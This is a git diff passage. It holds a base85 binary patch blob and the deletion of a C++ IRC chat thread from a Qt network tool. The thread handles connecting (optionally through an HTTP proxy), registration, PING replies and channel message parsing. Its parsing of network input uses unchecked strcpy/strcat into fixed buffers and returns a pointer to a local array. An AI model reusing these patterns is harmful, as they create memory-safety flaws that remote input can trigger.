zPEQV#r1gDNUasHnYPtH!ad8MZ=gEQ4DMCLS9N@#i{|Wni@Gro}fX@)_?hCZoa`ltv z@2v&r_QgHmY_BK4sq>NL8lT4ypD$p~_+<P+j3lZ3<MMLx+}m<Lp1omz3hH|(?0I}4 z2lmu2fIa;wf<6788nB-W&T>xx9|b?pg8mbz?;3EebLI|`Nzx_I`35>SfU{ry(bL)6 z>O2;(e;W2vMc*w)UInM0Z$pRvd<&ijKX<*sRKv`-j6+w;{eE&JxW>Wxp9>w9I|}xv zi@obV69V?Lz!|q1=r9gv2kh?(@CTuz<Ief>A~?tUYv3H$?}M|Se{Q+PhV$V+Vb6a1 zBkV`QpY3mKY!~Y64t@me6P9axY1tiZzdFq0uDynX)Bkbc?B~aLysOnO^LP)-t2}<N z<%>L?W%&}1_p^MJ$FnWJ$m54weznJkSbmeob1lEi<N209?D0a&pZ0i><u7@Byyb6s ze3IoKfop$u^Z(c2+Ai7#nzq-I4<zaLb!hh;E!TEuzug6#{d`Yw+II$LKksL`mdp7e z7xv%6pF-HP-xde#r-1(pI>~^}OxUyBYS`1y1+YH}`io&tKd%C(&dtzaxp%{!I*-Dh z^?E8`|2jC!{SZ30!2d1a^ygdX(4Q7JNdrpq=kqp}Yx{EE?g-BQwl8!vkDE^p1gAfJ zphJHK1?*P_>@NuL%L6*U2WR|m2<Y4c`|l9v2Ltw>f`0`2jGHye@%<Hl2Hy?*7x2Tt ze+3_Dxwh9C;Ki0}>^p&1gKHzZ<=Sb`*W;3o-vxX6zXA62|9Nowzuhfb+qk~;e>cn3 z|G&V`eJ%I>&jzRe1<<GeC&QlpuZBJSzX+WEKL<|#-?Ci&e-!?IXu0pdIhj&ymDB&7 z{-~hwew!}-hgz=oEzmAQ1AJtF&%V{jn{r!1=da*D!vD9yx!u&}wniQDOmON94Dc!7 zt>Mo?%Qc=)%FD&!6!13kqgxKH2H!!rTkpLHT=!!*`>Vm*Lgyy%cHnn`?+E@dcn0{> z;O)U*0`CC+7Whu!AA#=-{uTHx;6H-z3Z8y@++KpB-N4&}?+(5v_#WW<gTIY<9s=GG z_5;E91kVBA0G(0b?|>f-uKT-OJC=a!aT&+wfR6>Q2cHUlD)@ciXMx`Yeu2m1=*qRL z;J3m4CXYM&KZD;6`$s(P>^EAj^T0r{cjMv{*gqw|IsP5&xxC)xj#yEeB%*zH%T=HD z17ZI)${h^O^~PLqF5gFjzX6@G;C}>9f^R^*=2@<O9tiu>z*mBw3(oyT7eSxvx7Wgc z9CRKF@E4(z4?o|6eIMww`I8t)Qvb8ScLF~Od{1!t-#Ne!3h=%Go^84Iht()|F!&$9 zhl2kEo)6CcFcDn)x$B?Df$Mm2d^Wh+yEG46?Oi$vT<tZknwEmAz2mFF)xLFX9$f;i z_Ksf#K2Nw?zC37o8_9pPaOeL<*z5e`_$Kfo@Q=Xj!N0X!{pNLfKf(TK`OWEXcV}D? zwdc6l9h}F1_XTIaI>2)64;!K18}`&c61<aSa{i0}r+zUw>owVOEthed0sb=LQx2V1 zz-wWz%Ms_#>98LMz6$obTyyqU1?+Ev{WFNqJ+SW$ohQJvz+ZsQU!e0Q>^X02f0r0Z z()OiJZ_71qr^(Cte>m*v&j@hp%m(N2`fBit;QvB!w(sHqUmoDA1N_nezc#?vS*~$l zyWb6aw)=yyXS;6<*na_g&htOPo^fvTXK_T5-(ClTGtNhYvt6cw?}hO-6P)p{4)BEm zzBs_ov|Qu)th`*mIv4hw2d)O^Ja8j8{rn^NmFQO+EZ1^%z1@}jD)@8o=N;%A1pAM` zM}U6;PJjMoxj&!(0(<&-@ZI8sB=xgEUe3>fmTS9DK)FZ4Ue`0-a%2ST_eT3p1gFk) z@N1wy&vNyD82D1l)lVKTzBs_I06z;lH(0LqN`l`C`|;p+!~TBo?d}l)Nvgy7e`m|p z&*$ak;@K7U>~H<R*}jK^vwd^G*^Z+v*K#+Z+=;MfxwF7oZWTDoy~T3BUws67w)=PB zZ1<M;igS`QZt3VJJ6Z0x`((?tUMC~|bD(o5_`Tr!K>uBE_P0*=sW)-|=khueya@XB zmaG3f|M@)Fb6i{ud-k^*!2b>XTcN{#{%C+d1<ro{BJ^4A>#%1(e;4-b=SSRc!qcpu zkF;Fdh5I+g!+tpGH4XOM-#82WRM=NQhwZx<_T10;*8u-nPhOOy?ZxG0s|O7>^WF>c z(T&sgmaBbV__GH%$Hl(Tc@a9@VBZTmM}Tvl9}m7S`fU=N%hOrl^rtGo=UcAr^%DF% z1@`pwB5?Y76FB|62b_LB3Qj*a2KWn>tDi5!&(~p3Klgb^j3jA$(a%G`>1Q@L{Tu>L zKl1~8tmW$GEAn#vXCmzB=gHulZ!ZTQg?@4~^zQ~=AFzKO_J4&xuY+?w*$mF}gg<~j z<GBT#+h5;;Gj2aY|5f<YN>56Y<hNHlaISal3QqmKEZ6vRy`>xYJ&4-?@Yf`dYp)}q z&-xArXM2qSr$18zd?t7T{?vj~XK{cp5Ab#1oZoJ@T;uaP>iYofIlny)PJf<(4(GR* zV9$R34(vHUe*t^OIeoo2CrSGQ$7zT4N@LD(+Ht+X#-4s=26%VNH4dEjdc&Un=fIx+ zPk=rBp94<+=Y!M#Q^4u}vH)LYx%$uf@B-M=|I1-d|DOo(Ezn`Teg<c~T0at*r0vCe zbpU6*ItKWDmTSE@e|CpG>oppj<8cBw%RMf@=LUFvfS(-TOTjs=&jY7FR|NRI0sdrw zZwl~Vz&Q`3KN`1}#+mCm9W2*&<UG(3oc`|z9nJ&YVbAtD9Gv}XJUIJR5}f^N7C8Nx z7vKvmZz=WScwY>A`nd+2e%=61KkovkpAUo6&!+<XIm=s$pB&eJg+2Z3q$g2H@|T+j zg456b;Pi7aIQ`5E@IuSgPma^^u&19VfODLV)|2)mssAi@0yxLfv6gGOTz{AWd$v~v zIM*NQz*+7I(C7Y{#o(v4XgnTwf#v@8=}n%!Td%kioci~HtG=^;3Y^yqY_eR-<@xHb z!u~4x&FTEZa*gwP=>H7+Tfx(H<4uy<b31EK%QgPAKhkpFpQ!=+a&Y>&5S(#16`XNc zW4T|i-@~4M-URy`)c4_l{Rfu&^=hRD7bW>|Xb;YM?F-I&9RSXH9csB>uL9V!UgKcT zdX)w2S6c4ZYhA$pE^yZCad6h_8F1EXv*muhzJNXJ^&RY4ueKXf$3J1YU$3Ho{W0LI z*YV)2*F5mk(SMd&?$>J#>{+kNVb6Nq7O;QCa=%_*1?+zUXT5fKx-o97*RJ5KS5M3R zdS%0&^%??u)@yvg{@eh+9Gw2I1E>GDgVX<eEN>&#<~;eV<$k^1gbwTVKI~bq?*sN7 z_28nUHu7S*11<OGjWOV?*936J;aG6icb?^by%xis^;!;l*6T9Z)1Pa=Ij)}rr$0Y{ z&y(@ujtg|ugNu?hK1X95b+KIIGZwrDcoBFGIQOp>Sgvv4{^yC{-2XfkI@}*JFTm%6 zbN}jT(C7Zu<*?`e)zz@){?)g^c^qMHJ(w!Vk6WGPetpjXXMN8B=l=G0E!X&SzxtQ3 z=lVcTJ$NQb%jJIcap2dWz0R`SZ{OA6Y~O!Chx^rc)`Mh{REO=}(Q@^N@$UitZ}`(2 zI&Al$0X_np?S2&WS?*-mv)xNz&vySaINSYE%eCG0{7*NI-iCcX>h)2;zKtGylBDsW zeGd3^=u8aoB=`@op9RkK_QjU_{;!2S{kb_{|CfM$D?PX+N$W-bJ6i6Sn+<!Gn;Wp7 z5wO1@V80<?|8l_on}Gd+x^XVauh)<O&j)Ax$6D^kp$hhl!%A?*^A~V#H*KdI|JG0P zi~!#qoPKt(-1jpV_VlwTU|$okUlXwZbHM)5fc^Uc`|Wh+f+XMn9+vy#u3y0Z=z#sg zfc>Qb`|AVt8v^#92JCmxoe`3J|97|CuWxq1es;iqdBA>6!2ZsF{ionf`fY%3r#mlf zz1R<T2WNlYH^93EcvgTP8sJ00|G(DFBs7X33c~|&L!-t$#;7yNByou*ZXg&%$*2)r z22mm6l8flU!yHt|A*hh6A|gT1fQUidAl@PfMo`e3f(P*?2<GH+@#Mk&tKNgpmX-)U zNH1Ug^Vgf2H`O&wn)zG=XFdZN{9XosoWY-D@TxdGp`L3n&;Ki*X+EkSUdOY1{+E6# z@?V7fRj&%|7lY>olkj@>`zQaZpBQca@GpS#IgTC1)8q5Md=|i;|Cdz<&gY|x;QarP zET1LN(`PMs8^(DvIPXIq0cW0<!GEiNaDHFbfis^@aOSfYocWvtXFh}A%x5TrKLTf- zUJv@*nP)rn%ySbs^V|>4d=7)N-)G>@@wt2ezXSfsxV{IS;B%5=MVfm(r1`!m57!aS z1E-8j&-HCT^t|qOfZs+w$Kk^~&w<nbDtzc)lhXS<z`FW8j(+>#!+gG=Uyj2Dj3@Iv zYFu@~JZm%j*TBCj`Mu!z>-7r#Zqjl6)HuV;5KKaBDfIIKjh}BGyxzEc3gC_4^j~IN ztO0t?4;)X<4`UeT68ztRAA&!}^B6em-*8UD+TthJix-nTy$+^Wn|PDnbSi>RhJG3J z?k9aCxZC}$-xV49mW+N|p=ZC#!N=3DuAAxj+xuM&fA-r9&haFteir)mIv1J`p0~t= z+Tic?CO#ed_6$Aq;rKA0CGcTB1@Qbh{8u7R`sd+8{|0dS&jV-vt1|q3u2zcluZ0i& z=Yn%Q7lLy<>%i5ALZ}%$FPMZ<^tFx7*K3o6_@r<YH(hotJ{jEC3F7|V)m$-+xUMB0 z{dOSkYeJ#x;M43_yNBS_;G^Kv!R_Zo$lvEuHCNkvSHHfd6)%B%4Tx93X9-x`1uxpM znx2Bsc5$-TJ!ggbofD4YMsub@d~P_38$Ii!5cfG>=ejqj&~AP>iW@zHsnE{XggVzf zK!tW*V>;grzEHs8Ah@qZ)zlBZ$i>P261ZQ3)ch3O4#TTnf-emuZffj@hnj=Lilv<9 zRxI7%@>ywKH^Jpowqh9qm;Qk1$H1k(WySIxTzX$Obm)Sagy&hd4|6-X^!I}*dBzP~ zuW7fzdzj)C<D)4)YWy|0{Oxvh?kBkXbGFc%XkTVA>BrQT#8z;%^%Mfm?E;tH=lW~l z!QUo^L2&86SiO#c2Y*{Qd<U1lJD4RkX_Jdi_4mf~r4;Ykk~Ai<2V6cU%;y5Q(6?<; zC(o9qc)1jL$tExFw`XVMd%)%2YyQLFLU~&_zew@2@%Je{Z2Tj*{GXYBt4*4o&y|BQ zpDu9ws6xXT@L<s$^?l&-|6%^Gz=e8jA@&wr`c|v^di(x)KDmMD-vloG4SPQoaJ}Z+ zP}GlrH$)V+KfxQpH`@1G9!2m9xZ2)4h>gAA%IB-)GXmZOp9ywRkw-IlEx6jY4#&m< Uxcu`rUZ=rZ;ByvS`tz2@FZ$CG$N&HU literal 0 HcmV?d00001 diff --git a/oIRC_Th.cpp b/oIRC_Th.cpp deleted file mode 100644 index 562a178..0000000 --- a/oIRC_Th.cpp +++ /dev/null @@ -1,830 +0,0 @@ -#include "oIRC_Th.h" -#include <QtMultimedia/qsound.h> -#include "externData.h" -#include "externFunctions.h" - -int iWantToConnect = false; - -#define MAX_IRC_RECV_LEN 2048 -//#define IRC_CHAN "iskopasi_lab01" - -void oIRC_Th::doEmitionPlayDckingSound() -{ - emit ircTh->notifyPlay(); -}; -void oIRC_Th::doEmitUnhidePopup(QString str1, QString str2) -{ - emit ircTh->sUnhidePopup(str1, str2); -}; -void oIRC_Th::doEmitChangeIRCData(bool pm, bool hlflag, int code, QString str, QString s) -{ - emit ircTh->changeIRCData(pm, hlflag, code, str, s); -}; -void oIRC_Th::doEmitChangeRedIRCData(QString str) -{ - emit ircTh->changeRedIRCData(str); -}; -void oIRC_Th::doEmitChangeGreenIRCData(QString str) -{ - emit ircTh->changeGreenIRCData(str); -}; -void oIRC_Th::doEmitChangeYellowIRCData(QString str) -{ - emit ircTh->changeYellowIRCData(str); -}; -void oIRC_Th::doEmitChangeRawIRCDataInc(QString str) -{ - emit ircTh->changeRawIRCDataInc(str); -}; -void oIRC_Th::doEmitChangeRawIRCDataOut(QString str) -{ - emit ircTh->changeRawIRCDataOut(str); -}; -void oIRC_Th::doEmitSetNick(QString str) -{ - emit ircTh->setNick(str); -}; -void oIRC_Th::doEmitAddNick(QString str) -{ - emit ircTh->AddNick(str); -}; -void oIRC_Th::doEmitClearNickList() -{ - emit ircTh->ClearNickList(); -}; -void oIRC_Th::doEmitIRCOfflined() -{ - emit ircTh->IRCOfflined(); -}; -void oIRC_Th::doEmitGetTopic(QString str) -{ - emit ircTh->getTopic(str); -}; - -QString GetNickColor(char *sn) -{ - QString str(sn); - QString hexNick = str.toLocal8Bit().toHex(); - int origLen = str.size(); - int hln = hexNick.length(); - while(hln < 7) - { - hexNick += "0"; - hln = hexNick.length(); - }; - - QString nickColorStr = hexNick.mid(0, 6); - QString nickBGColorStr = hexNick.mid(hexNick.size() - 6, hexNick.size()); - - int nickColor = nickColorStr.toUInt(NULL, 16); - - nickColor += (7*origLen + nickColor*6 + 123456 - hln*hln*hln*hln + (int)(str[0].toLatin1())*123); - nickColorStr.setNum(nickColor, 16); - nickColorStr = nickColorStr.mid(nickColorStr.size() - 6, nickColorStr.size()); - - int R = nickColorStr.mid(0, 2).toUInt(NULL, 16); - int G = nickColorStr.mid(2, 2).toUInt(NULL, 16); - int B = nickColorStr.mid(4, 2).toUInt(NULL, 16); - - if(R < 100 && G < 100 && B < 100) nickBGColorStr = "#fd7e31"; - else nickBGColorStr = "#000000"; - - return nickColorStr + "; background-color: " + nickBGColorStr + ";"; -} - -bool doHL(char *rawData) -{ - if(strstr(rawData, ircNick) != NULL) return true; - else return false; -} - -void _blinkNLine(QString tempData = "", QString senderNick = "") -{ - if(widgetIsHidden == false && tray->isVisible() == false) - { - disableBlink = false; - if(irc_nmb->isRunning() == false) irc_nmb->start(); - ircTh->doEmitUnhidePopup(tempData, senderNick); - - if(printDelimiter) ircTh->doEmitChangeIRCData(false, false, 0, "------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------", ""); - printDelimiter = false; - }; -} - -int sendS(int lSock, char *msg, int len, int mode) -{ - if(lSock == WSAENOTSOCK || lSock <= 0 || !connectedToIRC) { - ircTh->doEmitChangeRedIRCData("Not connected."); - return -1; - } - int b = send(lSock, msg, len, mode); - if(b == -1) ircTh->doEmitChangeRedIRCData("[IRC: RecvS error - (" + QString::number(WSAGetLastError()) + ")]"); - else - { - Activity += len; - - ircTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit(msg)); - - }; - return b; -} - -int recvS(int lSock, char *recvBuffT, int len) -{ - int b; - char recvBuff[MAX_IRC_RECV_LEN] = {0}; - - b = recv(lSock, recvBuff, sizeof(recvBuff), 0); - if(b == -1) ircTh->doEmitChangeRedIRCData("[IRC: RecvS error - (" + QString::number(WSAGetLastError()) + ")]"); - else - { - Activity += len; - - strcpy(recvBuffT, recvBuff); - - ircTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(recvBuff)); - - ZeroMemory(recvBuff, sizeof(recvBuff)); - }; - return b; -} - -void UserNickInit() -{ - strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); - char tempBuffUser[1024] = {0}; - strcpy(tempBuffUser, "USER "); - strcat(tempBuffUser, ircNick); - strcat(tempBuffUser, " \"netstalker01\" * : "); - strcat(tempBuffUser, ircNick); - strcat(tempBuffUser, "\r\n"); - - char tempBuffNick[1024] = {0}; - - strcpy(tempBuffNick, "NICK "); - strcat(tempBuffNick, ircNick); - strcat(tempBuffNick, "\r\n"); - - sendS(lSock, tempBuffUser, strlen(tempBuffUser), 0); - sendS(lSock, tempBuffNick, strlen(tempBuffNick), 0); - - memset(tempBuffUser, '0', sizeof(tempBuffUser)); - memset(tempBuffNick, '0', sizeof(tempBuffNick)); -} - -void GetNicks() -{ - char chanTemp[64] = {0}; - strcpy(chanTemp, "NAMES #"); - strcat(chanTemp, IRC_CHAN); - strcat(chanTemp, "\r\n"); - sendS(lSock, chanTemp, strlen(chanTemp), 0); -} - -char *GetServerName(char *buff) -{ - char *temp1 = NULL; - int sz = 0; - char name[128] = {0}; - - if(strstr(buff, " ") != NULL) - { - temp1 = strstr(buff, " "); - sz = temp1 - buff - 1; - strncpy(name, buff + 1, (sz < 128 ? sz : 128)); - }; - - return name; -} - -int jFlag1 = 0; -void __pinger(char *recvBuff) -{ - if(strstr(recvBuff, "PING") != NULL) - { - char tmpa[128] = {0}; - - if(strstr(recvBuff, "PING :") != NULL) - { - if(strstr(strstr(recvBuff, "PING :") + strlen("PING :"), "\r\n") != NULL) - { - strcpy(tmpa, "PONG "); - strncat(tmpa, strstr(recvBuff, "PING :") + strlen("PING "), strlen(strstr(recvBuff, "PING :") + strlen("PING ")) - strlen(strstr(strstr(recvBuff, "PING :") + strlen("PING :"), "\r\n"))); - strcat(tmpa, "\r\n"); - - sendS(lSock, tmpa, strlen(tmpa), 0); - } - else - { - strcpy(tmpa, "PONG "); - strncat(tmpa, strstr(recvBuff, ":"), 16); - strcat(tmpa, "\r\n"); - - sendS(lSock, tmpa, strlen(tmpa), 0); - }; - - - if(ircPTh->isRunning() == false) ircPTh->start(); - }; - - if(!jFlag1) //Channel-entering sequence - { - Sleep(500); - char chanTemp[32] = {0}; - strcpy(chanTemp, "JOIN #"); - strcat(chanTemp, IRC_CHAN); - strcat(chanTemp, "\r\n"); - sendS(lSock, chanTemp, strlen(chanTemp), 0); - - jFlag1 = 1; - }; - - globalPinger = 0; - memset(tmpa, '\0', sizeof(tmpa)); - } - if(strstr(recvBuff, "PONG") != NULL) - { - char tmpa[128] = {0}; - - if(!jFlag1) //Channel-entering sequence - { - Sleep(500); - char chanTemp[32] = {0}; - strcpy(chanTemp, "JOIN #"); - strcat(chanTemp, IRC_CHAN); - strcat(chanTemp, "\r\n"); - sendS(lSock, chanTemp, strlen(chanTemp), 0); - - jFlag1 = 1; - }; - - globalPinger = 0; - memset(tmpa, '\0', sizeof(tmpa)); - } - else if(strstr(recvBuff, "G :") != NULL) - { - char tmpa[128] = {0}; - if(strstr(recvBuff, "G :") != NULL) - { - if(strstr(strstr(recvBuff, "G :") + strlen("G :"), "\r\n") != NULL) - { - strcpy(tmpa, "PONG "); - strncat(tmpa, strstr(recvBuff, "G :") + strlen("G :"), strlen(strstr(recvBuff, "G :") + strlen("G :")) - strlen(strstr(strstr(recvBuff, "G :") + strlen("G :"), "\r\n"))); - strcat(tmpa, "\r\n"); - sendS(lSock, tmpa, strlen(tmpa), 0); - } - else - { - strcpy(tmpa, "PONG "); - strncat(tmpa, strstr(recvBuff, ":"), 16); - strcat(tmpa, "\r\n"); - sendS(lSock, tmpa, strlen(tmpa), 0); - }; - }; - - if(!jFlag1) //Channel-entering sequence - { - Sleep(500); - char chanTemp[32] = {0}; - strcpy(chanTemp, "JOIN #"); - strcat(chanTemp, IRC_CHAN); - strcat(chanTemp, "\r\n"); - sendS(lSock, chanTemp, strlen(chanTemp), 0); - - jFlag1 = 1; - }; - - globalPinger = 0; - if(ircPTh->isRunning() == false) ircPTh->start(); - memset(tmpa, '\0', sizeof(tmpa)); - }; -} - -void IRCLoop() -{ - nickFlag = 0; - offlineFlag = 0; - - - ircTh->doEmitChangeYellowIRCData("Connecting to IRC server " + QString(ircServer) + ":" + QString(ircPort) + "..."); - - - jFlag1 = 0; - sockaddr_in addr; - addr.sin_family = AF_INET; - - HOSTENT *host; - - if(proxyEnabledFlag) - { - addr.sin_port = htons(atoi(ircProxyPort)); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy); - else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy); - else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - } - else - { - addr.sin_port = htons(atoi(ircPort)); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ircServer) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircServer); - else if(host = gethostbyname (ircServer)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ircServer) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircServer); - else if(host=gethostbyname (ircServer)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - }; - - for(int conCounter = 1; conCounter <= 100; ++conCounter) - { - char topicData[256] = {0}; - if(iWantToConnect == false) break; - OnlineMsgSentFlag = false; - - lSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - - if(proxyEnabledFlag) ircTh->doEmitChangeYellowIRCData("Connecting to proxy " + QString(ircProxy) + "..."); - if(connect(lSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) - { - if(proxyEnabledFlag) ircTh->doEmitChangeYellowIRCData("Connection to proxy " + QString(ircProxy) + " established."); - globalPinger = 0; - - char temprecvBuff[512] = {0}; - char tempSendMsg[512] = {0}; - - if(proxyEnabledFlag) - { - strcpy(tempSendMsg, "CONNECT "); - strcat(tempSendMsg, ircServer); - strcat(tempSendMsg, ":"); - strcat(tempSendMsg, ircPort); - strcat(tempSendMsg, " HTTP/1.1\r\n\r\n"); - - sendS(lSock, tempSendMsg, strlen(tempSendMsg), 0); - - recvS(lSock, temprecvBuff, sizeof(temprecvBuff)); - - if(strstr(temprecvBuff, "HTTP/1.1 200 OK") || strstr(temprecvBuff, "200 OK") - || strstr(temprecvBuff, "OK 200") || strstr(temprecvBuff, "200 Connection") ) - { - ircTh->doEmitChangeYellowIRCData("Proxy accepted connection. Waiting for IRC reply..."); - sendS(lSock, "\r\n", strlen("\r\n"), 0); - } - else - { - ircTh->doEmitChangeRedIRCData("[IRC: Bad proxy reply.]"); - break; - }; - } - else - { - sendS(lSock, "\r\n", strlen("\r\n"), 0); - }; - - UserNickInit(); - - char recvBuffG[MAX_IRC_RECV_LEN] = {0}; - char serverRealName[256] = {0}; - bool nameLocked = false; - - char pTemp[32] = {0}; - strcpy(pTemp, "PRIV"); - strcat(pTemp, "MSG "); - while(recvS(lSock, recvBuffG, MAX_IRC_RECV_LEN) > 0 && iWantToConnect) - { - if(strlen(recvBuffG) > 0) - { - char *recvBuff = recvBuffG; - - __pinger(recvBuff); - - char comStr[512] = {0}; - char delimBf[512] = {0}; - strcpy(delimBf, ":"); - strcat(delimBf, serverRealName); - - char *Gtemp = recvBuff; - while(strstr(Gtemp + 1, "\n") != NULL) - { - char *temp1 = NULL; - if(strstr(Gtemp + 1, "\n") != NULL) temp1 = strstr(Gtemp + 1, "\n"); - else temp1 = Gtemp + strlen(Gtemp); - int csz = temp1 - Gtemp - 1; - strncpy(comStr, Gtemp, csz); - Gtemp = strstr(Gtemp + 1, "\n"); - - char privTemp[64] = {0}; - - strcpy(privTemp, "PRIV"); - strcat(privTemp, "MSG #"); - strcat(privTemp, IRC_CHAN); - strcat(privTemp, " :"); - - char pTemp[32] = {0}; - strcpy(pTemp, " PRIV"); - strcat(pTemp, "MSG "); - if(strstr(comStr, pTemp) == NULL) - { - char topicTemp[64] = {0}; - strcpy(topicTemp, "TOPIC #"); - strcat(topicTemp, IRC_CHAN); - strcat(topicTemp, " :"); - if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "while we process your") != NULL || strstr(comStr, "Looking up your hostname") != NULL) - ) - { - - ircTh->doEmitChangeGreenIRCData("[OK] Connected to irc server: " + ui->ircServerBox->text()+ ":" + ui->serverPortBox->text() + "."); - - if(nameLocked == false) - { - nameLocked = true; - strncpy(serverRealName, GetServerName(recvBuff), 128); - }; - - Sleep(500); - UserNickInit(); - - Sleep(500); - char chanTemp[32] = {0}; - strcpy(chanTemp, "JOIN #"); - strcat(chanTemp, IRC_CHAN); - strcat(chanTemp, "\r\n"); - sendS(lSock, chanTemp, strlen(chanTemp), 0); - } - else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "ERROR :Closing Link:") != NULL || strstr(comStr, "ERROR :") != NULL) ) - { - if(strstr(comStr, "Registration timed out") != NULL) - { - - ircTh->doEmitChangeRedIRCData("-//- [!] Connection failure. (Registration timed out)"); - ircTh->terminate(); - - } - else - { - - ircTh->doEmitChangeRedIRCData("-//- [!] Connection failure. (Closed link)"); - ircTh->terminate(); - - }; - } - else if(strstr(comStr, serverRealName) != NULL && strstr(comStr, "flooding") != NULL) - { - ircTh->doEmitChangeYellowIRCData("[" + QString::fromLocal8Bit(" ") + "] Flooding detected."); - } - else if((strstr(comStr, serverRealName) != NULL && strstr(comStr, " 332 ") != NULL) - || strstr(comStr, topicTemp) != NULL) - { - char chanTemp[32] = {0}; - strcpy(chanTemp, IRC_CHAN); - strcat(chanTemp, " :"); - char *temp = strstr(comStr, chanTemp); - strncpy(topicData, temp + strlen(chanTemp), 256); - if(utfIRCFlag) - { - QTextCodec *codec = QTextCodec::codecForName("Windows-1251"); - QByteArray wtf_s(QString::fromLocal8Bit(topicData).toStdString().c_str()); - QByteArray wtf = codec->fromUnicode(wtf_s); - ircTh->doEmitGetTopic(wtf); - } - else ircTh->doEmitGetTopic(QString::fromLocal8Bit(topicData)); - } - else if(strstr(comStr, "not channel operator") != NULL) - { - ircTh->doEmitChangeRedIRCData("[Nope] You're not channel operator."); - ircTh->doEmitGetTopic(QString::fromLocal8Bit(topicData)); - } - else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "353") != NULL || strstr(comStr, "End of /NAMES list") != NULL)) - { - char *strMain = NULL; - char *str1 = NULL; - char *str2 = NULL; - - if(strstr(comStr, " 353 ") != NULL) strMain = strstr(comStr, " 353 "); - if(strMain != NULL) - { - char cTemp[64] = {0}; - strcpy(cTemp, IRC_CHAN); - strcat(cTemp, " :"); - - if(strstri(strMain, cTemp) != NULL) str1 = strstri(strMain, cTemp); - else - { - char chanTemp[64] = {0}; - strcpy(chanTemp, IRC_CHAN); - strcat(chanTemp, " : Error in /NAMES"); - - str1 = chanTemp; - }; - if(strstr(str1, ":") != NULL) str2 = strstr(str1 + 1, ":"); - - char temp[MAX_IRC_RECV_LEN] = {0}; - - int dsz = strlen(str2); - if(dsz > 0) - { - ircTh->doEmitClearNickList(); - strncpy(temp, str2, dsz); - - char *lex = strtok(temp + 1, " "); - - while(lex != NULL && lex != "" && lex != "\r" && lex != "\r\n" && *lex != 13) - { - ircTh->doEmitAddNick(QString::fromLocal8Bit(lex)); - lex = strtok(NULL, " "); - }; - }; - }; - } - else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 432 ") > 0 || strstr(comStr, "Erroneous Nickname") > 0)) - { - - ircTh->doEmitChangeRedIRCData("[Nope] Erroneous Nickname: Illegal characters."); - - } - else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 433 ") > 0 || strstr(comStr, "Nickname is already") > 0) ) - { - QTime time = QTime::currentTime(); - qsrand((uint)time.msec()); - ircTh->doEmitChangeRedIRCData("[Nope] Nickname is already in use."); - ircTh->doEmitSetNick("ns_" + QString::number(qrand() % 8999 + 1000 )); - - UserNickInit(); - } - else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 438 ") > 0 || strstr(comStr, "Nick change too") > 0)) - { - - ircTh->doEmitChangeRedIRCData("[Nope] You are changing nicks too fast."); - - } - else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "End of /NAMES list") != NULL || strstr(comStr, "End of /names list") != NULL - || strstr(comStr, "end of /NAMES list") != NULL || strstr(comStr, "end of /names list") != NULL) - && strstr(comStr, "353") == NULL) - { - ircTh->doEmitChangeRedIRCData("[IRC: NAMES! lol]"); - } - else if(strstr(comStr, "QUIT :Ping timeout") != NULL || strstr(comStr, "EOF From") != NULL - || strstr(comStr, "EOF from") != NULL || strstr(comStr, " QUIT :") != NULL) - { - if(strstr(comStr, ":") != NULL) - { - if(strstr(comStr, "!") != NULL) - { - if(strstr(comStr, "@") != NULL) - { - char *temp1 = strstr(comStr, ":"); - char *temp2 = strstr(temp1, "!"); - char leaverNick[32] = {0}; - - int sz = temp2 - temp1; - - strncpy(leaverNick, temp1, (sz < 16 ? sz : 16)); - - - if(strstr(comStr, "QUIT :Ping timeout") != NULL) - { - ircTh->doEmitChangeYellowIRCData("-//- " + QString(leaverNick) + " left channel (Ping timeout)."); - _blinkNLine(QString(leaverNick) + " left channel (Ping timeout)", "[Server]"); - } - else - { - ircTh->doEmitChangeYellowIRCData("-//- " + QString(leaverNick) + " left channel."); - _blinkNLine(QString(leaverNick) + " left channel.", "[Server]"); - }; - - }; - }; - }; - } - else if(strstr(comStr, "NICK :") != NULL) - { - char *temp; - char *temp2; - char senderNick[32] = {0}; - if(strstr(comStr, ":") != NULL) temp = strstr(comStr, ":"); - if(strstr(temp, "!") != NULL) temp2 = strstr(comStr, "!"); - int nickLen = temp2 - temp - 1; - if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen); - - if(strstr(comStr, "NICK :") != NULL) temp = strstr(comStr, "NICK :"); - memset(temp + strlen(temp), '\0', 1); - - QString newNick = QString((char*)(temp + strlen("NICK :"))); - - ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] is now known as [" + newNick + "]."); - - _blinkNLine("[" + QString(senderNick) + "] is now known as [" + newNick + "].", "[Server]"); - - } - else if(iWantToConnect && (strstr(comStr, "JOIN :#") > 0 || strstr(comStr, "Join :#") > 0 - || strstr(comStr, "join :#") > 0)) - { - char *temp; - char *temp2; - char senderNick[32] = {0}; - if(strstr(comStr, ":") != NULL) temp = strstr(comStr, ":"); - if(strstr(temp, "!") != 